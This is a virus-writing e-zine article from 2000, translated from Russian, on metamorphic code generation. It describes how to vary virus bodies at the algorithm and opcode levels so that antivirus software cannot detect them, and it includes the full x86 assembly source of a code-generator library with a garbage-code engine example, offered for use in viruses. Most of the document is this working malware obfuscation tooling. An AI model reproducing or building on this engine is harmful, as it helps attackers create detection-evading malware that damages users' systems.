
                                METAMORPHISM
                                ~~~~~~~~~~~~
                                   part 1

                  xlated from russian for MATRiX #2 E-Zine
                              (x) 2000 Z0MBiE

[*] PREFACE

Metamorphism: generation of the new polymorphic virus copy.

Here will be described some ideas about polymorphic code generation.

So, our task is to generate code of the following properties:
- performing some specified actions
- polymorphic
- similar to code generated by the HLL compilers
- different to code used in the known viruses

Two generated (metamorphic) virus bodies may differ:
- on the algorithm-level
- on the opcode-level

[*] What is algorithm-level?

All the generated (metamorphic) body consists of interchangeable algorithmic
parts, in other words of blocks performing single tasks, such as file
operations, ring0-entering, residency, handlers, infecting subroutines, etc.,
and each of these blocks may have some variants.
I.e. on this level generated body consists of kinda subroutines and
each of them is randomly selected (from the predefined set) while generation.

[*] What is opcode-level?

This just means that each pseudo-language element (which is base of the
algorithmic-level) may be converted (compiled) into different set of opcodes;
then these opcodes may be changed and/or mixed.

[*] Example

Task: calculate f(x) = 10 * sin(2 * x)

     ------------------------ algorithm-level ----------------------->
    |
    |        f(x) = 10*sin(2*x)             f(x) = sin(x)*cos(x)*20
    |
    |        variant 1                      variant 2
    |
    |        t = x                          t = x
  opcode-    t = t * 2                      a = sin(t)
 -level      t = sin(t)                     b = cos(t)
    |        t = t * 10                     t = a * b
    |                                       t = t * 20
    |
    |        variant 3                      variant 4
    |
    |        t = 2 * x                      b = cos(x)
    |        a = sin(t)                     t = 20 * b
    |        t = 10 * a                     a = sin(x)
    |                                       t = t * a
    

[*] Algorithm generation

It is clear, that we can not change code on the algorithm-level, so
all the variants of some action must be predefined.
The more variants of the same actions u use, the more your virus will
fuck av asses.
Lets imagine virus consisting of blocks A and B, and each of them has two
variants: A1/A2 and B1/B2.
So, we have 4 different viruses: A1B1, A1B2, A2B1 and A2B2.
For example A1=residensy, A2=current directory scanning, B1=COM infection
and B2=EXE infection.
And each of A1/A2/... subblocks may be changed in the same way, and so on.

[*] Code generation

This is the main objective of this article.
May be said that metamorphic code generator is kinda virus constructor
which works automatically and produces not source but code.

So, we have one variant of the algorithm which is represented using
variables. Farther, all operations between these variables will be realized
using registers.

This allows us:
- to use fixed set of opcodes, which is easy and similar to HLL-code;
- to use lots of garbage ('coz there will be no globally used registers)
- to write badly disassemling code

So, on the level of variables the following macros may be used:

 (cmd = mov/cmd/add/sub/xor)

        cmd     v, c
        cmd     v1, [v2]
        cmd     [v1], v2
        cmd     v1, v2

These variable-level macros are expanded into register-level:

        cmd     v, c
                mov     r, c
                cmd     v, r
        cmd     v1, [v2]
                mov     r2, v2     ...
                cmd     r1, [r2]
                mov     v1, r1
        cmd     [v1], v2
                mov     r1, v1
                mov     r2, v2
                cmd     [r1], r2
        cmd     v1, v2
                mov     r1, v1     mov r1, v1     mov r2, v2
                mov     r2, v2     cmd r1, v2     cmd v1, r2
                cmd     r1, r2     mov v1, r1
                mov     v1, r1
        cmd     r, v
                mov     r1, offset v      cmd r, v
                cmd     r, [r1]
        mov     v, r
                mov     r1, offset v      cmd v, r
                cmd     [r1], r
        mov     r, c
                ...

At the end of this text, there are CODE GENERATOR library which allows you
to generate code which will work with variables on the register-level.

Lets our task be to calculate: c = a xor b, where a,b and c are
memory-variables.
Then CODEGEN library allows you just to do:

                lea     edi, outbuf

                push    c_mov
                push    offset c
                push    offset a
                call    cmd_v_v         ; mov c, a

                push    c_xor
                push    offset c
                push    offset b
                call    cmd_v_v         ; xor c, b

Or, using macros, write:

                lea     edi, outbuf
                call3   cmd_v_v, c_mov, <offset c>, <offset a>  ; c = a
                call3   cmd_v_v, c_xor, <offset c>, <offset b>  ; c ^= b

After that, the following code will be generated:

   variant 1                    variant 2

   push    0C84B53DEh           mov     eax,[1000400Ch]
   pop     ebx                  mov     [10004014h],eax
   add     ebx, 47B4EC2Eh       push    d,[10004010h]
   mov     ecx, [ebx]           pop     ecx
   mov     ebx, ecx             mov     edx,0C8417FA7h
   push    78F2C937h            add     edx,47BEC06Dh
   pop     eax                  xor     [edx],ecx
   sub     eax, 68F28923h
   mov     [eax], ebx
   push    0CC8FF745h
   pop     eax
   add     eax, 437048CBh
   push    dword ptr [eax]
   pop     edx
   push    edx
   pop     ebx
   push    0AE0577D4h
   pop     esi
   xor     esi, 0BC5A5A6Dh
   sub     esi, 75F6D972h
   sub     esi, 78BBFB1Bh
   xor     esi, 0C9CC8138h
   sub     esi, 993B95D9h
   sub     esi, 81A3404Eh
   add     esi, 407E3E27h
   xor     [esi], ebx

You may also include the following subroutine into your source:

endcmd:                 mov     al, 90h         ; nop
                        stosb
                        ret

This subroutine will be called after each new opcode is stored
into output buffer. It it easy to understand that it may be replaced with
garbage generator or simply with RET.

Here is an example of the 'c = a xor b' generator with usage of ETG garbage
generator:

include                 codegen.equ

                        callW   GetTickCount    ; randomize
                        xor     randseed, eax

                        mov     regfree, 11001111b  ; edi/esi/ebx/edx/ecx/eax
                        lea     edi, buf

                        call3   cmd_v_v, c_mov, <offset c>, <offset a>; c = a
                        call3   cmd_v_v, c_xor, <offset c>, <offset b>; c ^= b

                        mov     al, 0C3h        ; ret
                        stosb

                        call    near ptr buf    ; call generated code

                        mov     eax, a          ; check if (c == a ^ b)
                        xor     eax, b
                        cmp     eax, c
                        jne     $               ; hangup if error
                        ...

endcmd:                 push    offset my_random; external subroutine: rnd
                        push    edi             ; ptr to output buffer
                        push    1024            ; max size of buffer
                        push    3               ; max number of commands
                        push    offset etgsize  ; ptr to generated bufsize
                        push    regfree         ; REG_xxx (dest)
                        push    REG_ALL         ; REG_xxx (src)
                        push    ETG_ALL-ETG_SEG ; ETG_xxx (cmd)
                        call    etg_engine
                        add     edi, etgsize
                        retn

randseed                dd      ?
regfree                 dd      ?
etgsize                 dd      ?

include                 etg.inc
include                 codegen.inc

And here is the code generated:

                        mov     ebx,01000400C
                        mov     ecx,eax
                        mov     edx,0F148D821
                        neg     dl
                        push    ebx
                        repne
                        mov     edx,0180ED75A
                        lea     ecx,[0D00B2AA0]
                        pop     edi
                        inc     cl
                        repe
                        mov     edx,049B628C3
                        mov     esi,[edi]
                        inc     eax
                        rol     edx,1
                        sub     al,0B0
                        push    esi
                        xadd    ecx,edx
                        repne
                        test    ch,030
                        pop     d,[010004014]
                        sub     dl,008
                        rcl     cl,037
                        btr     ebx,-060
                        push    d,[010004014]
                        xadd    dl,dh
                        bts     ebx,ebx
                        cmp     esi,ebx
                        pop     eax
                        sar     ch,cl
                        bt      ecx,03A
                        ???     bh,1
                        xor     eax,[010004010]
                        movsx   ebx,bx
                        adc     ecx,ebx
                        adc     ebx,089A0A315
                        push    eax
                        inc     ebx
                        neg     bh
                        bsf     esi,eax
                        pop     d,[010004014]
                        mov     bh,025
                        test    dh,ch
                        bswap   ebx


  Thats all!
                                   * * *

====[begin CODEGEN.EQU]======================================================

c_mov                   equ     8Bh
c_add                   equ     03h    ; c0
c_sub                   equ     2Bh    ; e8
c_xor                   equ     33h    ; f0
c_cmp                   equ     3Bh    ; f8

esp4                    equ     <[esp+4]>
esp8                    equ     <[esp+8]>
esp12                   equ     <[esp+12]>

b0                      equ     <byte ptr 0>
b4                      equ     <byte ptr 4>

d0                      equ     <dword ptr 0>
d4                      equ     <dword ptr 4>
d8                      equ     <dword ptr 8>
d12                     equ     <dword ptr 12>

call1                   macro   p, x1
                        push    x1
                        call    p
                        endm

call2                   macro   p, x1, x2
                        push    x1
                        push    x2
                        call    p
                        endm

call3                   macro   p, x1, x2, x3
                        push    x1
                        push    x2
                        push    x3
                        call    p
                        endm

====[end CODEGEN.EQU]========================================================
====[begin CODEGEN.INC]======================================================

; ---------------------------------------------------------------------------
; CODE GENERATOR   version 1.60   (x) 2000 Z0MBiE
; ---------------------------------------------------------------------------

;FUNCTION                       INPUT           OUTPUT          USES

;cmd_v_c:                       stack:cmd,v,c                   edi
;cmd_v_v:                       stack:cmd,v1,v2                 edi
;cmd_v_memv:                    stack:cmd,v1,v2                 edi
;cmd_memv_v:                    stack:cmd,v1,v2                 edi

;cmd_r_r:                       stack:cmd,r1,r2                 edi
;mov_r_offsv:                   stack:r,v                       edi
;cmd_r_c:                       stack:cmd,r,c                   edi
;cmd_r_memr:                    stack:cmd,r1,r2                 edi
;cmd_memr_r:                    stack:cmd,r1,r2                 edi
;cmd_r_v:                       stack:cmd,r,v                   edi
;cmd_v_r:                       stack:cmd,v,r                   edi

;rnd:                           stack:range     zf, eax
;rnd2:                                          zf, eax
;rnd3:                                          zf, eax

;reg_alloc:                                     eax=r
;reg_free:                      stack:r
;reg_xchg:                      stack:r         stack:r

;r1_alloc:                                      r1
;r2_alloc:                                      r2
;r1_free:
;r2_free:
;r1_xchg:                                       r1
;r2_xchg:                                       r2

; ---------------------------------------------------------------------------

metaerror:              int 3
                        int 3
                        int 3

; ---------------------------------------------------------------------------

;endcmd:                <-- called after each instruction. YOU must define it

; ---------------------------------------------------------------------------

USE_OWN_RND             equ     ?

IFDEF   USE_OWN_RND
my_random:              mov     eax, randseed
                        imul    eax, 214013
                        add     eax, 2531011
                        mov     randseed, eax
                        shr     eax, 16
                        imul    eax, esp4
                        shr     eax, 16
                        retn
ENDIF

rnd2:                   call1   my_random, 2
                        lea     esp, [esp+4]
                        retn

rnd3:                   call1   my_random, 3
                        lea     esp, [esp+4]
                        retn

; ---------------------------------------------------------------------------

reg_alloc:              cmp     regfree, 0
                        jz      metaerror
__cycle:                call1   my_random, 8
                        add     esp, 4
                        btr     regfree, eax
                        jnc     __cycle
                        retn

reg_free:               mov     eax, esp4
                        bts     regfree, eax
                        jc      metaerror
                        retn     4

reg_xchg:               cmp     regfree, 0
                        je      __exit
                        call    rnd3
                        jnz     __exit
                        call    reg_alloc
                        push    ecx
                        xchg    ecx, eax
                        call3   cmd_r_r, c_mov, ecx, esp4.d12
                        call1   reg_free, esp4.d4
                        mov     esp4.d4, ecx
                        pop     ecx
__exit:                 retn

; ---------------------------------------------------------------------------

                        r1      = ebx
                        r2      = esi

r1_alloc:               call    reg_alloc
                        xchg    r1, eax
                        retn

r2_alloc:               call    reg_alloc
                        xchg    r2, eax
                        retn

r1_free:                push    r1
                        call    reg_free
                        retn

r2_free:                push    r2
                        call    reg_free
                        retn

r1_xchg:                push    r1
                        call    reg_xchg
                        pop     r1
                        retn

r2_xchg:                push    r2
                        call    reg_xchg
                        pop     r2
                        retn

; ---------------------------------------------------------------------------

cmd_r_r:                mov     al, esp12             ; cmd r, r
                        cmp     al, c_mov
                        je      __mov
__r00:                  call    rnd2
                        jz      __b
__a:                    mov     al, esp12
                        stosb
                        mov     al, esp8
                        shl     al, 3
                        or      al, esp4
                        or      al, 0C0h
                        stosb
                        call    endcmd
                        retn    12
__b:                    mov     al, esp12
                        xor     al, 2
                        stosb
                        mov     al, esp4
                        shl     al, 3
                        or      al, esp8
                        or      al, 0C0h
                        stosb
                        call    endcmd
                        retn    12
__mov:                  call    rnd2
                        jz      __r00
__r01:                  mov     al, 50h               ; push r1
                        or      al, esp4
                        stosb
                        call    endcmd
                        mov     al, 58h               ; pop r2
                        or      al, esp8
                        stosb
                        call    endcmd
                        retn    12
; ---------------------------------------------------------------------------

; LEA may be used here
mov_r_offsv:            call3   cmd_r_c, c_mov, esp8.d4, esp4.d8
                        retn    8

; ---------------------------------------------------------------------------

cmd_r_c:                mov     al, esp12
                        cmp     al, c_mov
                        je      __mov_r_c
__notmov:               mov     al, 81h
                        stosb
                        mov     al, esp12
                        cmp     al, c_xor
                        mov     ah, 0F0h
                        je      __stosb
                        cmp     al, c_add
                        mov     ah, 0C0h
                        je      __stosb
                        cmp     al, c_sub
                        mov     ah, 0E8h
                        je      __stosb
                        cmp     al, c_cmp
                        mov     ah, 0F8h
                        je      __stosb
__stosb:                mov     al, ah
                        or      al, esp8
                        stosb
                        mov     eax, esp4
                        stosd
                        call    endcmd
                        retn    12

__mov_r_c:              call1    my_random, 5
                        pop      ecx
                        jz      __mov           ; 0
                        dec     eax
                        jz      __mov_add       ; 1
                        dec     eax
                        jz      __mov_sub       ; 2
                        dec     eax
                        jz      __mov_xor       ; 3
                        ; 4
__pushpop:              mov     al, 68h                 ; push c
                        stosb
                        mov     eax, esp4
                        stosd
                        call    endcmd
                        mov     al, 58h                 ; pop r
                        or      al, esp8
                        stosb
                        call    endcmd
                        retn    12
__mov:                  mov     al, 0B8h                ; mov r, c
                        or      al, esp8
                        stosb
                        mov     eax, esp4
                        stosd
                        call    endcmd
                        retn    12

__mov_add:              mov     eax, esp4
                        sub     eax, randseed
                        push    randseed
                        call3   cmd_r_c, c_mov, esp8.d4+4, eax
                        pop     eax
                        call3   cmd_r_c, c_add, esp8.d4, eax
                        retn    12
__mov_sub:              mov     eax, esp4
                        add     eax, randseed
                        push    randseed
                        call3   cmd_r_c, c_mov, esp8.d4+4, eax
                        pop     eax
                        call3   cmd_r_c, c_sub, esp8.d4, eax
                        retn    12
__mov_xor:              mov     eax, esp4
                        xor     eax, randseed
                        push    randseed
                        call3   cmd_r_c, c_mov, esp8.d4+4, eax
                        pop     eax
                        call3   cmd_r_c, c_xor, esp8.d4, eax
                        retn    12

; ---------------------------------------------------------------------------

cmd_r_memr:             mov     al, esp12            ; cmd x1, [x2]
                        cmp     al, c_mov
                        je      __mov
__r01:                  mov     al, esp12
                        stosb
                        mov     al, esp8
                        shl     al, 3
                        or      al, esp4
                        stosb
                        call    endcmd
                        retn    12
__mov:                  call    rnd2
                        jz      __r01
__r00:                  mov     al, 0FFh                ; push [x2]
                        stosb
                        mov     al, 30h
                        or      al, esp4
                        stosb
                        call    endcmd
                        mov     al, 58h                 ; pop x1
                        or      al, esp8
                        stosb
                        call    endcmd
                        retn    12

; ---------------------------------------------------------------------------

cmd_memr_r:             mov     al, esp12            ; cmd [x1], x2
                        cmp     al, c_mov
                        je      __mov
__r01:                  mov     al, esp12
                        xor     al, 2
                        stosb
                        mov     al, esp4
                        shl     al, 3
                        or      al, esp8
                        stosb
                        call    endcmd
                        retn    12
__mov:                  call    rnd2
                        jz      __r01
                        mov     al, 50h                 ; push x2
                        or      al, esp4
                        stosb
                        call    endcmd
                        mov     al, 8Fh                 ; pop [x1]
                        stosb
                        xor     al, al
                        or      al, esp8
                        stosb
                        call    endcmd
                        retn    12

; ---------------------------------------------------------------------------

cmd_r_v:                call    rnd2
                        jz      __r01

__r00:                  mov     al, esp12            ; cmd r, [v]
                        cmp     al, c_mov
                        je      __mov
__r0000:                mov     al, esp12
                        stosb
                        mov     eax, esp8
                        shl     al, 3
                        or      al, 5
                        stosb
                        mov     eax, esp4
                        stosd
                        call    endcmd
                        retn    12
__mov:                  call    rnd2
                        jz      __r0000
__r0001:                mov     ax, 35FFh       ; push [v]
                        stosw
                        mov     eax, esp4
                        stosd
                        call    endcmd
                        mov     al, 58h         ; pop r
                        or      al, esp8
                        stosb
                        call    endcmd
                        retn    12
__r01:                  push    r1
                        call    r1_alloc
                        call2   mov_r_offsv, r1, esp4.d8; mov r1, offset v
                        call    r1_xchg
                        call3   cmd_r_memr, esp12.d4, esp8.d8, r1   ; cmd r, [r1]
                        call    r1_free
                        pop     r1
                        retn    12

; ---------------------------------------------------------------------------

cmd_v_r:                call    rnd2
                        jz      __r01

__r00:                  mov     al, esp12            ; cmd [v], r
                        cmp     al, c_mov
                        je      __mov
__r0000:                mov     al, esp12
                        xor     al, 2
                        stosb
                        mov     eax, esp4
                        shl     al, 3
                        or      al, 5
                        stosb
                        mov     eax, esp8
                        stosd
                        call    endcmd
                        retn    12
__mov:                  call    rnd2
                        jz      __r0000
__r0001:                mov     al, 50h               ; push r
                        or      al, esp4
                        stosb
                        call    endcmd
                        mov     ax, 058Fh             ; pop [v]
                        stosw
                        mov     eax, esp8
                        stosd
                        call    endcmd
                        retn    12
__r01:                  push    r1
                        call    r1_alloc
                        call2   mov_r_offsv, r1, esp8.d8; mov r1, offset v
                        call    r1_xchg
                        call3   cmd_memr_r, esp12.d4, r1, esp4.d12 ; cmd [r1], r
                        call    r1_free
                        pop     r1
                        retn    12

; ---------------------------------------------------------------------------

cmd_v_c:                call    rnd2
                        jz      __r01

__r00:                  mov     al, esp12         ; cmd [v], c
                        cmp     al, c_mov
                        jne     __1
                        mov     ax, 05C7h
                        stosw
                        jmp     __2
__1:                    mov     al, 81h
                        stosb
                        mov     al, esp12
                        add     al, 2
                        stosb
__2:                    mov     eax, esp8
                        stosd
                        mov     eax, esp4
                        stosd
                        call    endcmd
                        retn    12

__r01:                  push    r1
                        call    r1_alloc
                        call3   cmd_r_c, c_mov, r1, esp4.d12 ; mov r, c
                        call    r1_xchg
                        call3   cmd_v_r, esp12.d4, esp8.d8, r1  ; cmd v, r
                        call    r1_free
                        pop     r1
                        retn    12

; ---------------------------------------------------------------------------

cmd_v_v:                call    rnd3
                        jz      __r01
                        dec     eax
                        jz      __r02

__r00:                  push    r2
                        call1   alloc_r2_v, esp4.d4          ; mov r2, v2
                        call3   cmd_v_r, esp12.d4, esp8.d8, r2 ; cmd v1, r2
                        call    r2_free
                        pop     r2
                        retn    12

__r02:                  push    r1 r2
                        call2   alloc_r1_v_cmp, esp8.d8, esp12.d12 ; [mov r1, v1]
                        call1   alloc_r2_v, esp4.d8            ; mov r2, v2
                        call3   cmd_r_r, esp12.d0+8, r1, r2     ; cmd r1, r2
                        call    r2_free
                        jmp     cmd_v_v_l1

__r01:                  push    r1 r2
                        call2   alloc_r1_v_cmp, esp8.d0+8, esp12.d4+8 ; [mov r1, v1]
                        call3   cmd_r_v, esp12.d0+8, r1, esp4.d8+8; cmd r1,v2
cmd_v_v_l1:             cmp     esp12.b0+8, c_cmp
                        je      __skip
                        call    r1_xchg
                        call3   cmd_v_r, c_mov, esp8.d4+8, r1   ; mov v1,r1
__skip:                 call    r1_free
                        pop     r2 r1
                        retn    12

; ---------------------------------------------------------------------------

cmd_v_memv:             push    r1 r2
                        call2   alloc_r1_v_cmp, esp8.d8, esp12.d12 ; [mov r1, v1]
                        call1   alloc_r2_v, esp4.d8            ; mov r2, v2
                        call3   cmd_r_memr, esp12.d0+8, r1, r2; cmd r1, [r2]
                        call    r2_free
                        jmp     cmd_v_v_l1

; ---------------------------------------------------------------------------

cmd_memv_v:             push    r1 r2
                        call1   alloc_r1_v, esp8.d8               ; mov r1, v1
                        call1   alloc_r2_v, esp4.d8               ; mov r2, v2
                        call3   cmd_memr_r, esp12.d0+8, r1, r2; cmd [r1], r2
                        call    r1_free
                        call    r2_free
                        pop     r2 r1
                        retn    12

; ---------------------------------------------------------------------------

alloc_r1_v_cmp:         call    r1_alloc
                        cmp     esp4.b0, c_mov
                        je      __skip
                        call3   cmd_r_v, c_mov, r1, esp8.d8; mov r1, v
                        call    r1_xchg
__skip:                 retn    8

alloc_r1_v:             call    r1_alloc
                        call3   cmd_r_v, c_mov, r1, esp4.d8; mov r1, v
                        call    r1_xchg
                        retn    4

alloc_r2_v:             call    r2_alloc
                        call3   cmd_r_v, c_mov, r2, esp4.d8; mov r2, v
                        call    r2_xchg
                        retn    4

====[end CODEGEN.INC]========================================================
